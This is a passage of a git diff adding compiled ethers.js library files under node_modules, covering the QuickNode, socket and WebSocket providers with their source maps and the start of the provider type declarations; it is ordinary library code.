index_js_1.FetchRequest(`https:/\/${getHost(network.name)}/${token}`); + request.allowGzip = true; + //if (projectSecret) { request.setCredentials("", projectSecret); } + if (token === defaultToken) { + request.retryFunc = async (request, response, attempt) => { + (0, community_js_1.showThrottleMessage)("QuickNodeProvider"); + return true; + }; + } + return request; + } +} +exports.QuickNodeProvider = QuickNodeProvider; +//# sourceMappingURL=provider-quicknode.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-quicknode.js.map b/node_modules/ethers/lib.commonjs/providers/provider-quicknode.js.map new file mode 100644 index 000000000000..00e244d8e154 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-quicknode.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-quicknode.js","sourceRoot":"","sources":["../../src.ts/providers/provider-quicknode.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;;;;GAyBG;;;AAEH,gDAE2B;AAE3B,iDAAqD;AACrD,6CAAuC;AACvC,+DAAwD;AAOxD,MAAM,YAAY,GAAG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;CACJ;AAnDD,8CAmDC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-socket.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-socket.d.ts new file mode 100644 index 000000000000..41c58fc0fff2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-socket.d.ts @@ -0,0 +1,113 @@ +/** + * Generic long-lived socket provider. + * + * Sub-classing notes + * - a sub-class MUST call the `_start()` method once connected + * - a sub-class MUST override the `_write(string)` method + * - a sub-class MUST call `_processMessage(string)` for each message + * + * @_subsection: api/providers/abstract-provider:Socket Providers [about-socketProvider] + */ +import { JsonRpcApiProvider } from "./provider-jsonrpc.js"; +import type { Subscriber, Subscription } from "./abstract-provider.js"; +import type { EventFilter } from "./provider.js"; +import type { JsonRpcApiProviderOptions, JsonRpcError, JsonRpcPayload, JsonRpcResult } from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; +/** + * A **SocketSubscriber** uses a socket transport to handle events and + * should use [[_emit]] to manage the events. + */ +export declare class SocketSubscriber implements Subscriber { + #private; + /** + * The filter. + */ + get filter(): Array; + /** + * Creates a new **SocketSubscriber** attached to %%provider%% listening + * to %%filter%%. + */ + constructor(provider: SocketProvider, filter: Array); + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; + /** + * @_ignore: + */ + _handleMessage(message: any): void; + /** + * Sub-classes **must** override this to emit the events on the + * provider. + */ + _emit(provider: SocketProvider, message: any): Promise; +} +/** + * A **SocketBlockSubscriber** listens for ``newHeads`` events and emits + * ``"block"`` events. + */ +export declare class SocketBlockSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider: SocketProvider); + _emit(provider: SocketProvider, message: any): Promise; +} +/** + * A **SocketPendingSubscriber** listens for pending transacitons and emits + * ``"pending"`` events. + */ +export declare class SocketPendingSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider: SocketProvider); + _emit(provider: SocketProvider, message: any): Promise; +} +/** + * A **SocketEventSubscriber** listens for event logs. + */ +export declare class SocketEventSubscriber extends SocketSubscriber { + #private; + /** + * The filter. + */ + get logFilter(): EventFilter; + /** + * @_ignore: + */ + constructor(provider: SocketProvider, filter: EventFilter); + _emit(provider: SocketProvider, message: any): Promise; +} +/** + * A **SocketProvider** is backed by a long-lived connection over a + * socket, which can subscribe and receive real-time messages over + * its communication channel. + */ +export declare class SocketProvider extends JsonRpcApiProvider { + #private; + /** + * Creates a new **SocketProvider** connected to %%network%%. + * + * If unspecified, the network will be discovered. + */ + constructor(network?: Networkish, _options?: JsonRpcApiProviderOptions); + _getSubscriber(sub: Subscription): Subscriber; + /** + * Register a new subscriber. This is used internalled by Subscribers + * and generally is unecessary unless extending capabilities. + */ + _register(filterId: number | string, subscriber: SocketSubscriber): void; + _send(payload: JsonRpcPayload | Array): Promise>; + /** + * Sub-classes **must** call this with messages received over their + * transport to be processed and dispatched. + */ + _processMessage(message: string): Promise; + /** + * Sub-classes **must** override this to send %%message%% over their + * transport. + */ + _write(message: string): Promise; +} +//# sourceMappingURL=provider-socket.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-socket.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-socket.d.ts.map new file mode 100644 index 000000000000..6748e7c2e5ed --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-socket.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-socket.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-socket.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAIH,OAAO,EAAE,kBAAkB,EAAE,MAAM,uBAAuB,CAAC;AAE3D,OAAO,KAAK,EAAE,UAAU,EAAE,YAAY,EAAE,MAAM,wBAAwB,CAAC;AACvE,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,eAAe,CAAC;AACjD,OAAO,KAAK,EACR,yBAAyB,EAAE,YAAY,EAAE,cAAc,EAAE,aAAa,EACzE,MAAM,uBAAuB,CAAC;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SAAQ,kBAAkB;;IAUlD;;;;OAIG;gBACS,OAAO,CAAC,EAAE,UAAU,EAAE,QAAQ,CAAC,EAAE,yBAAyB;IAgCtE,cAAc,CAAC,GAAG,EAAE,YAAY,GAAG,UAAU;IAoB7C;;;OAGG;IACH,SAAS,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,EAAE,UAAU,EAAE,gBAAgB,GAAG,IAAI;IAWlE,KAAK,CAAC,OAAO,EAAE,cAAc,GAAG,KAAK,CAAC,cAAc,CAAC,GAAG,OAAO,CAAC,KAAK,CAAC,aAAa,GAAG,YAAY,CAAC,CAAC;IAmC1G;;;OAGG;IACG,eAAe,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;IAuCrD;;;OAGG;IACG,MAAM,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;CAG/C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-socket.js b/node_modules/ethers/lib.commonjs/providers/provider-socket.js new file mode 100644 index 000000000000..37323dd73824 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-socket.js @@ -0,0 +1,309 @@ +"use strict"; +/** + * Generic long-lived socket provider. + * + * Sub-classing notes + * - a sub-class MUST call the `_start()` method once connected + * - a sub-class MUST override the `_write(string)` method + * - a sub-class MUST call `_processMessage(string)` for each message + * + * @_subsection: api/providers/abstract-provider:Socket Providers [about-socketProvider] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.SocketProvider = exports.SocketEventSubscriber = exports.SocketPendingSubscriber = exports.SocketBlockSubscriber = exports.SocketSubscriber = void 0; +const abstract_provider_js_1 = require("./abstract-provider.js"); +const index_js_1 = require("../utils/index.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +/** + * A **SocketSubscriber** uses a socket transport to handle events and + * should use [[_emit]] to manage the events. + */ +class SocketSubscriber { + #provider; + #filter; + /** + * The filter. + */ + get filter() { return JSON.parse(this.#filter); } + #filterId; + #paused; + #emitPromise; + /** + * Creates a new **SocketSubscriber** attached to %%provider%% listening + * to %%filter%%. + */ + constructor(provider, filter) { + this.#provider = provider; + this.#filter = JSON.stringify(filter); + this.#filterId = null; + this.#paused = null; + this.#emitPromise = null; + } + start() { + this.#filterId = this.#provider.send("eth_subscribe", this.filter).then((filterId) => { + ; + this.#provider._register(filterId, this); + return filterId; + }); + } + stop() { + (this.#filterId).then((filterId) => { + if (this.#provider.destroyed) { + return; + } + this.#provider.send("eth_unsubscribe", [filterId]); + }); + this.#filterId = null; + } + // @TODO: pause should trap the current blockNumber, unsub, and on resume use getLogs + // and resume + pause(dropWhilePaused) { + (0, index_js_1.assert)(dropWhilePaused, "preserve logs while paused not supported by SocketSubscriber yet", "UNSUPPORTED_OPERATION", { operation: "pause(false)" }); + this.#paused = !!dropWhilePaused; + } + resume() { + this.#paused = null; + } + /** + * @_ignore: + */ + _handleMessage(message) { + if (this.#filterId == null) { + return; + } + if (this.#paused === null) { + let emitPromise = this.#emitPromise; + if (emitPromise == null) { + emitPromise = this._emit(this.#provider, message); + } + else { + emitPromise = emitPromise.then(async () => { + await this._emit(this.#provider, message); + }); + } + this.#emitPromise = emitPromise.then(() => { + if (this.#emitPromise === emitPromise) { + this.#emitPromise = null; + } + }); + } + } + /** + * Sub-classes **must** override this to emit the events on the + * provider. + */ + async _emit(provider, message) { + throw new Error("sub-classes must implemente this; _emit"); + } +} +exports.SocketSubscriber = SocketSubscriber; +/** + * A **SocketBlockSubscriber** listens for ``newHeads`` events and emits + * ``"block"`` events. + */ +class SocketBlockSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider) { + super(provider, ["newHeads"]); + } + async _emit(provider, message) { + provider.emit("block", parseInt(message.number)); + } +} +exports.SocketBlockSubscriber = SocketBlockSubscriber; +/** + * A **SocketPendingSubscriber** listens for pending transacitons and emits + * ``"pending"`` events. + */ +class SocketPendingSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider) { + super(provider, ["newPendingTransactions"]); + } + async _emit(provider, message) { + provider.emit("pending", message); + } +} +exports.SocketPendingSubscriber = SocketPendingSubscriber; +/** + * A **SocketEventSubscriber** listens for event logs. + */ +class SocketEventSubscriber extends SocketSubscriber { + #logFilter; + /** + * The filter. + */ + get logFilter() { return JSON.parse(this.#logFilter); } + /** + * @_ignore: + */ + constructor(provider, filter) { + super(provider, ["logs", filter]); + this.#logFilter = JSON.stringify(filter); + } + async _emit(provider, message) { + provider.emit(this.logFilter, provider._wrapLog(message, provider._network)); + } +} +exports.SocketEventSubscriber = SocketEventSubscriber; +/** + * A **SocketProvider** is backed by a long-lived connection over a + * socket, which can subscribe and receive real-time messages over + * its communication channel. + */ +class SocketProvider extends provider_jsonrpc_js_1.JsonRpcApiProvider { + #callbacks; + // Maps each filterId to its subscriber + #subs; + // If any events come in before a subscriber has finished + // registering, queue them + #pending; + /** + * Creates a new **SocketProvider** connected to %%network%%. + * + * If unspecified, the network will be discovered. + */ + constructor(network, _options) { + // Copy the options + const options = Object.assign({}, (_options != null) ? _options : {}); + // Support for batches is generally not supported for + // connection-base providers; if this changes in the future + // the _send should be updated to reflect this + (0, index_js_1.assertArgument)(options.batchMaxCount == null || options.batchMaxCount === 1, "sockets-based providers do not support batches", "options.batchMaxCount", _options); + options.batchMaxCount = 1; + // Socket-based Providers (generally) cannot change their network, + // since they have a long-lived connection; but let people override + // this if they have just cause. + if (options.staticNetwork == null) { + options.staticNetwork = true; + } + super(network, options); + this.#callbacks = new Map(); + this.#subs = new Map(); + this.#pending = new Map(); + } + // This value is only valid after _start has been called + /* + get _network(): Network { + if (this.#network == null) { + throw new Error("this shouldn't happen"); + } + return this.#network.clone(); + } + */ + _getSubscriber(sub) { + switch (sub.type) { + case "close": + return new abstract_provider_js_1.UnmanagedSubscriber("close"); + case "block": + return new SocketBlockSubscriber(this); + case "pending": + return new SocketPendingSubscriber(this); + case "event": + return new SocketEventSubscriber(this, sub.filter); + case "orphan": + // Handled auto-matically within AbstractProvider + // when the log.removed = true + if (sub.filter.orphan === "drop-log") { + return new abstract_provider_js_1.UnmanagedSubscriber("drop-log"); + } + } + return super._getSubscriber(sub); + } + /** + * Register a new subscriber. This is used internalled by Subscribers + * and generally is unecessary unless extending capabilities. + */ + _register(filterId, subscriber) { + this.#subs.set(filterId, subscriber); + const pending = this.#pending.get(filterId); + if (pending) { + for (const message of pending) { + subscriber._handleMessage(message); + } + this.#pending.delete(filterId); + } + } + async _send(payload) { + // WebSocket provider doesn't accept batches + (0, index_js_1.assertArgument)(!Array.isArray(payload), "WebSocket does not support batch send", "payload", payload); + // @TODO: stringify payloads here and store to prevent mutations + // Prepare a promise to respond to + const promise = new Promise((resolve, reject) => { + this.#callbacks.set(payload.id, { payload, resolve, reject }); + }); + // Wait until the socket is connected before writing to it + await this._waitUntilReady(); + // Write the request to the socket + await this._write(JSON.stringify(payload)); + return [await promise]; + } + // Sub-classes must call this once they are connected + /* + async _start(): Promise { + if (this.#ready) { return; } + + for (const { payload } of this.#callbacks.values()) { + await this._write(JSON.stringify(payload)); + } + + this.#ready = (async function() { + await super._start(); + })(); + } + */ + /** + * Sub-classes **must** call this with messages received over their + * transport to be processed and dispatched. + */ + async _processMessage(message) { + const result = (JSON.parse(message)); + if (result && typeof (result) === "object" && "id" in result) { + const callback = this.#callbacks.get(result.id); + if (callback == null) { + this.emit("error", (0, index_js_1.makeError)("received result for unknown id", "UNKNOWN_ERROR", { + reasonCode: "UNKNOWN_ID", + result + })); + return; + } + this.#callbacks.delete(result.id); + callback.resolve(result); + } + else if (result && result.method === "eth_subscription") { + const filterId = result.params.subscription; + const subscriber = this.#subs.get(filterId); + if (subscriber) { + subscriber._handleMessage(result.params.result); + } + else { + let pending = this.#pending.get(filterId); + if (pending == null) { + pending = []; + this.#pending.set(filterId, pending); + } + pending.push(result.params.result); + } + } + else { + this.emit("error", (0, index_js_1.makeError)("received unexpected message", "UNKNOWN_ERROR", { + reasonCode: "UNEXPECTED_MESSAGE", + result + })); + return; + } + } + /** + * Sub-classes **must** override this to send %%message%% over their + * transport. + */ + async _write(message) { + throw new Error("sub-classes must override this"); + } +} +exports.SocketProvider = SocketProvider; +//# sourceMappingURL=provider-socket.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-socket.js.map b/node_modules/ethers/lib.commonjs/providers/provider-socket.js.map new file mode 100644 index 000000000000..6aa6aa4e3dca --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-socket.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-socket.js","sourceRoot":"","sources":["../../src.ts/providers/provider-socket.ts"],"names":[],"mappings":";AAAA;;;;;;;;;GASG;;;AAEH,iEAA6D;AAC7D,gDAAsE;AACtE,+DAA2D;AAkB3D;;;GAGG;AACH,MAAa,gBAAgB;IACzB,SAAS,CAAiB;IAE1B,OAAO,CAAS;IAEhB;;OAEG;IACH,IAAI,MAAM,KAAiB,OAAO,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC;IAE7D,SAAS,CAAiC;IAC1C,OAAO,CAAiB;IAExB,YAAY,CAAuB;IAEnC;;;OAGG;IACH,YAAY,QAAwB,EAAE,MAAkB;QACpD,IAAI,CAAC,SAAS,GAAG,QAAQ,CAAC;QAC1B,IAAI,CAAC,OAAO,GAAG,IAAI,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;QACtC,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;QACtB,IAAI,CAAC,OAAO,GAAG,IAAI,CAAC;QACpB,IAAI,CAAC,YAAY,GAAG,IAAI,CAAC;IAC7B,CAAC;IAED,KAAK;QACD,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,eAAe,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,CAAC,QAAQ,EAAE,EAAE;YAAE,CAAC;YACpF,IAAI,CAAC,SAAS,CAAC,SAAS,CAAC,QAAQ,EAAE,IAA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BAAkB,EAAE;YACvD,MAAM,QAAQ,GAAG,MAAM,CAAC,MAAM,CAAC,YAAY,CAAC;YAC5C,MAAM,UAAU,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;YAC5C,IAAI,UAAU,EAAE;gBACZ,UAAU,CAAC,cAAc,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;aACnD;iBAAM;gBACH,IAAI,OAAO,GAAG,IAAI,CAAC,QAAQ,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;gBAC1C,IAAI,OAAO,IAAI,IAAI,EAAE;oBACjB,OAAO,GAAG,EAAG,CAAC;oBACd,IAAI,CAAC,QAAQ,CAAC,GAAG,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;iBACxC;gBACD,OAAO,CAAC,IAAI,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;aACtC;SAEJ;aAAM;YACH,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,IAAA,oBAAS,EAAC,6BAA6B,EAAE,eAAe,EAAE;gBACzE,UAAU,EAAE,oBAAoB;gBAChC,MAAM;aACT,CAAC,CAAC,CAAC;YACJ,OAAO;SACV;IACL,CAAC;IAED;;;OAGG;IACH,KAAK,CAAC,MAAM,CAAC,OAAe;QACxB,MAAM,IAAI,KAAK,CAAC,gCAAgC,CAAC,CAAC;IACtD,CAAC;CACJ;AAvKD,wCAuKC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-websocket.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-websocket.d.ts new file mode 100644 index 000000000000..b34c9842e9be --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-websocket.d.ts @@ -0,0 +1,37 @@ +import { SocketProvider } from "./provider-socket.js"; +import type { JsonRpcApiProviderOptions } from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; +/** + * A generic interface to a Websocket-like object. + */ +export interface WebSocketLike { + onopen: null | ((...args: Array) => any); + onmessage: null | ((...args: Array) => any); + onerror: null | ((...args: Array) => any); + readyState: number; + send(payload: any): void; + close(code?: number, reason?: string): void; +} +/** + * A function which can be used to re-create a WebSocket connection + * on disconnect. + */ +export type WebSocketCreator = () => WebSocketLike; +/** + * A JSON-RPC provider which is backed by a WebSocket. + * + * WebSockets are often preferred because they retain a live connection + * to a server, which permits more instant access to events. + * + * However, this incurs higher server infrasturture costs, so additional + * resources may be required to host your own WebSocket nodes and many + * third-party services charge additional fees for WebSocket endpoints. + */ +export declare class WebSocketProvider extends SocketProvider { + #private; + get websocket(): WebSocketLike; + constructor(url: string | WebSocketLike | WebSocketCreator, network?: Networkish, options?: JsonRpcApiProviderOptions); + _write(message: string): Promise; + destroy(): Promise; +} +//# sourceMappingURL=provider-websocket.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-websocket.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-websocket.d.ts.map new file mode 100644 index 000000000000..886b1976633c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-websocket.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-websocket.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-websocket.ts"],"names":[],"mappings":"AAIA,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,KAAK,EAAE,yBAAyB,EAAC,MAAM,uBAAuB,CAAC;AACtE,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAE/C;;GAEG;AACH,MAAM,WAAW,aAAa;IAC1B,MAAM,EAAE,IAAI,GAAG,CAAC,CAAC,GAAG,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,KAAK,GAAG,CAAC,CAAC;IAC9C,SAAS,EAAE,IAAI,GAAG,CAAC,CAAC,GAAG,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,KAAK,GAAG,CAAC,CAAC;IACjD,OAAO,EAAE,IAAI,GAAG,CAAC,CAAC,GAAG,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,KAAK,GAAG,CAAC,CAAC;IAE/C,UAAU,EAAE,MAAM,CAAC;IAEnB,IAAI,CAAC,OAAO,EAAE,GAAG,GAAG,IAAI,CAAC;IACzB,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,MAAM,CAAC,EAAE,MAAM,GAAG,IAAI,CAAC;CAC/C;AAED;;;GAGG;AACH,MAAM,MAAM,gBAAgB,GAAG,MAAM,aAAa,CAAC;AAEnD;;;;;;;;;GASG;AACH,qBAAa,iBAAkB,SAAQ,cAAc;;IAIjD,IAAI,SAAS,IAAI,aAAa,CAG7B;gBAEW,GAAG,EAAE,MAAM,GAAG,aAAa,GAAG,gBAAgB,EAAE,OAAO,CAAC,EAAE,UAAU,EAAE,OAAO,CAAC,EAAE,yBAAyB;IA2C/G,MAAM,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;IAItC,OAAO,IAAI,OAAO,CAAC,IAAI,CAAC;CAOjC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-websocket.js b/node_modules/ethers/lib.commonjs/providers/provider-websocket.js new file mode 100644 index 000000000000..5d46ed3e63cd --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-websocket.js @@ -0,0 +1,80 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.WebSocketProvider = void 0; +const ws_js_1 = require("./ws.js"); /*-browser*/ +const provider_socket_js_1 = require("./provider-socket.js"); +/** + * A JSON-RPC provider which is backed by a WebSocket. + * + * WebSockets are often preferred because they retain a live connection + * to a server, which permits more instant access to events. + * + * However, this incurs higher server infrasturture costs, so additional + * resources may be required to host your own WebSocket nodes and many + * third-party services charge additional fees for WebSocket endpoints. + */ +class WebSocketProvider extends provider_socket_js_1.SocketProvider { + #connect; + #websocket; + get websocket() { + if (this.#websocket == null) { + throw new Error("websocket closed"); + } + return this.#websocket; + } + constructor(url, network, options) { + super(network, options); + if (typeof (url) === "string") { + this.#connect = () => { return new ws_js_1.WebSocket(url); }; + this.#websocket = this.#connect(); + } + else if (typeof (url) === "function") { + this.#connect = url; + this.#websocket = url(); + } + else { + this.#connect = null; + this.#websocket = url; + } + this.websocket.onopen = async () => { + try { + await this._start(); + this.resume(); + } + catch (error) { + console.log("failed to start WebsocketProvider", error); + // @TODO: now what? Attempt reconnect? + } + }; + this.websocket.onmessage = (message) => { + this._processMessage(message.data); + }; + /* + this.websocket.onclose = (event) => { + // @TODO: What event.code should we reconnect on? + const reconnect = false; + if (reconnect) { + this.pause(true); + if (this.#connect) { + this.#websocket = this.#connect(); + this.#websocket.onopen = ... + // @TODO: this requires the super class to rebroadcast; move it there + } + this._reconnect(); + } + }; + */ + } + async _write(message) { + this.websocket.send(message); + } + async destroy() { + if (this.#websocket != null) { + this.#websocket.close(); + this.#websocket = null; + } + super.destroy(); + } +} +exports.WebSocketProvider = WebSocketProvider; +//# sourceMappingURL=provider-websocket.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-websocket.js.map b/node_modules/ethers/lib.commonjs/providers/provider-websocket.js.map new file mode 100644 index 000000000000..779b65f0e299 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-websocket.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-websocket.js","sourceRoot":"","sources":["../../src.ts/providers/provider-websocket.ts"],"names":[],"mappings":";;;AAEA,mCAAkD,CAAC,YAAY;AAE/D,6DAAsD;AAyBtD;;;;;;;;;GASG;AACH,MAAa,iBAAkB,SAAQ,mCAAc;IACjD,QAAQ,CAA0B;IAElC,UAAU,CAAuB;IACjC,IAAI,SAAS;QACT,IAAI,IAAI,CAAC,UAAU,IAAI,IAAI,EAAE;YAAE,MAAM,IAAI,KAAK,CAAC,kBAAkB,CAAC,CAAC;SAAE;QACrE,OAAO,IAAI,CAAC,UAAU,CAAC;IAC3B,CAAC;IAED,YAAY,GAA8C,EAAE,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EAAE,CAAC;YACxB,IAAI,CAAC,UAAU,GAAG,IAAI,CAAC;SAC1B;QACD,KAAK,CAAC,OAAO,EAAE,CAAC;IACpB,CAAC;CACJ;AA/DD,8CA+DC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider.d.ts b/node_modules/ethers/lib.commonjs/providers/provider.d.ts new file mode 100644 index 000000000000..b2aa244f5bcf --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider.d.ts @@ -0,0 +1,1223 @@ +import type { AddressLike, NameResolver } from "../address/index.js"; +import type { BigNumberish, EventEmitterable } from "../utils/index.js"; +import type { Signature } from "../crypto/index.js"; +import type { AccessList, AccessListish, Authorization, AuthorizationLike, BlobLike, KzgLibraryLike, TransactionLike } from "../transaction/index.js"; +import type { ContractRunner } from "./contracts.js"; +import type { Network } from "./network.js"; +/** + * A **BlockTag** specifies a specific block. + * + * **numeric value** - specifies the block height, where + * the genesis block is block 0; many operations accept a negative + * value which indicates the block number should be deducted from + * the most recent block. A numeric value may be a ``number``, ``bigint``, + * or a decimal of hex string. + * + * **blockhash** - specifies a specific block by its blockhash; this allows + * potentially orphaned blocks to be specifed, without ambiguity, but many + * backends do not support this for some operations. + */ +export type BlockTag = BigNumberish | string; +import { BlockParams, LogParams, TransactionReceiptParams, TransactionResponseParams } from "./formatting.js"; +/** + * A **FeeData** wraps all the fee-related values associated with + * the network. + */ +export declare class FeeData { + /** + * The gas price for legacy networks. + */ + readonly gasPrice: null | bigint; + /** + * The maximum fee to pay per gas. + * + * The base fee per gas is defined by the network and based on + * congestion, increasing the cost during times of heavy load + * and lowering when less busy. + * + * The actual fee per gas will be the base fee for the block + * and the priority fee, up to the max fee per gas. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + readonly maxFeePerGas: null | bigint; + /** + * The additional amout to pay per gas to encourage a validator + * to include the transaction. + * + * The purpose of this is to compensate the validator for the + * adjusted risk for including a given transaction. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + readonly maxPriorityFeePerGas: null | bigint; + /** + * Creates a new FeeData for %%gasPrice%%, %%maxFeePerGas%% and + * %%maxPriorityFeePerGas%%. + */ + constructor(gasPrice?: null | bigint, maxFeePerGas?: null | bigint, maxPriorityFeePerGas?: null | bigint); + /** + * Returns a JSON-friendly value. + */ + toJSON(): any; +} +/** + * A **TransactionRequest** is a transactions with potentially various + * properties not defined, or with less strict types for its values. + * + * This is used to pass to various operations, which will internally + * coerce any types and populate any necessary values. + */ +export interface TransactionRequest { + /** + * The transaction type. + */ + type?: null | number; + /** + * The target of the transaction. + */ + to?: null | AddressLike; + /** + * The sender of the transaction. + */ + from?: null | AddressLike; + /** + * The nonce of the transaction, used to prevent replay attacks. + */ + nonce?: null | number; + /** + * The maximum amount of gas to allow this transaction to consume. + */ + gasLimit?: null | BigNumberish; + /** + * The gas price to use for legacy transactions or transactions on + * legacy networks. + * + * Most of the time the ``max*FeePerGas`` is preferred. + */ + gasPrice?: null | BigNumberish; + /** + * The [[link-eip-1559]] maximum priority fee to pay per gas. + */ + maxPriorityFeePerGas?: null | BigNumberish; + /** + * The [[link-eip-1559]] maximum total fee to pay per gas. The actual + * value used is protocol enforced to be the block's base fee. + */ + maxFeePerGas?: null | BigNumberish; + /** + * The transaction data. + */ + data?: null | string; + /** + * The transaction value (in wei). + */ + value?: null | BigNumberish; + /** + * The chain ID for the network this transaction is valid on. + */ + chainId?: null | BigNumberish; + /** + * The [[link-eip-2930]] access list. Storage slots included in the access + * list are //warmed// by pre-loading them, so their initial cost to + * fetch is guaranteed, but then each additional access is cheaper. + */ + accessList?: null | AccessListish; + /** + * A custom object, which can be passed along for network-specific + * values. + */ + customData?: any; + /** + * When using ``call`` or ``estimateGas``, this allows a specific + * block to be queried. Many backends do not support this and when + * unsupported errors are silently squelched and ``"latest"`` is used. + */ + blockTag?: BlockTag; + /** + * When using ``call``, this enables CCIP-read, which permits the + * provider to be redirected to web-based content during execution, + * which is then further validated by the contract. + * + * There are potential security implications allowing CCIP-read, as + * it could be used to expose the IP address or user activity during + * the fetch to unexpected parties. + */ + enableCcipRead?: boolean; + /** + * The blob versioned hashes (see [[link-eip-4844]]). + */ + blobVersionedHashes?: null | Array; + /** + * The maximum fee per blob gas (see [[link-eip-4844]]). + */ + maxFeePerBlobGas?: null | BigNumberish; + /** + * Any blobs to include in the transaction (see [[link-eip-4844]]). + */ + blobs?: null | Array; + /** + * An external library for computing the KZG commitments and + * proofs necessary for EIP-4844 transactions (see [[link-eip-4844]]). + * + * This is generally ``null``, unless you are creating BLOb + * transactions. + */ + kzg?: null | KzgLibraryLike; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList?: null | Array; +} +/** + * A **PreparedTransactionRequest** is identical to a [[TransactionRequest]] + * except all the property types are strictly enforced. + */ +export interface PreparedTransactionRequest { + /** + * The transaction type. + */ + type?: number; + /** + * The target of the transaction. + */ + to?: AddressLike; + /** + * The sender of the transaction. + */ + from?: AddressLike; + /** + * The nonce of the transaction, used to prevent replay attacks. + */ + nonce?: number; + /** + * The maximum amount of gas to allow this transaction to consume. + */ + gasLimit?: bigint; + /** + * The gas price to use for legacy transactions or transactions on + * legacy networks. + * + * Most of the time the ``max*FeePerGas`` is preferred. + */ + gasPrice?: bigint; + /** + * The [[link-eip-1559]] maximum priority fee to pay per gas. + */ + maxPriorityFeePerGas?: bigint; + /** + * The [[link-eip-1559]] maximum total fee to pay per gas. The actual + * value used is protocol enforced to be the block's base fee. + */ + maxFeePerGas?: bigint; + /** + * The transaction data. + */ + data?: string; + /** + * The transaction value (in wei). + */ + value?: bigint; + /** + * The chain ID for the network this transaction is valid on. + */ + chainId?: bigint; + /** + * The [[link-eip-2930]] access list. Storage slots included in the access + * list are //warmed// by pre-loading them, so their initial cost to + * fetch is guaranteed, but then each additional access is cheaper. + */ + accessList?: AccessList; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList?: Array; + /** + * A custom object, which can be passed along for network-specific + * values. + */ + customData?: any; + /** + * When using ``call`` or ``estimateGas``, this allows a specific + * block to be queried. Many backends do not support this and when + * unsupported errors are silently squelched and ``"latest"`` is used. + */ + blockTag?: BlockTag; + /** + * When using ``call``, this enables CCIP-read, which permits the + 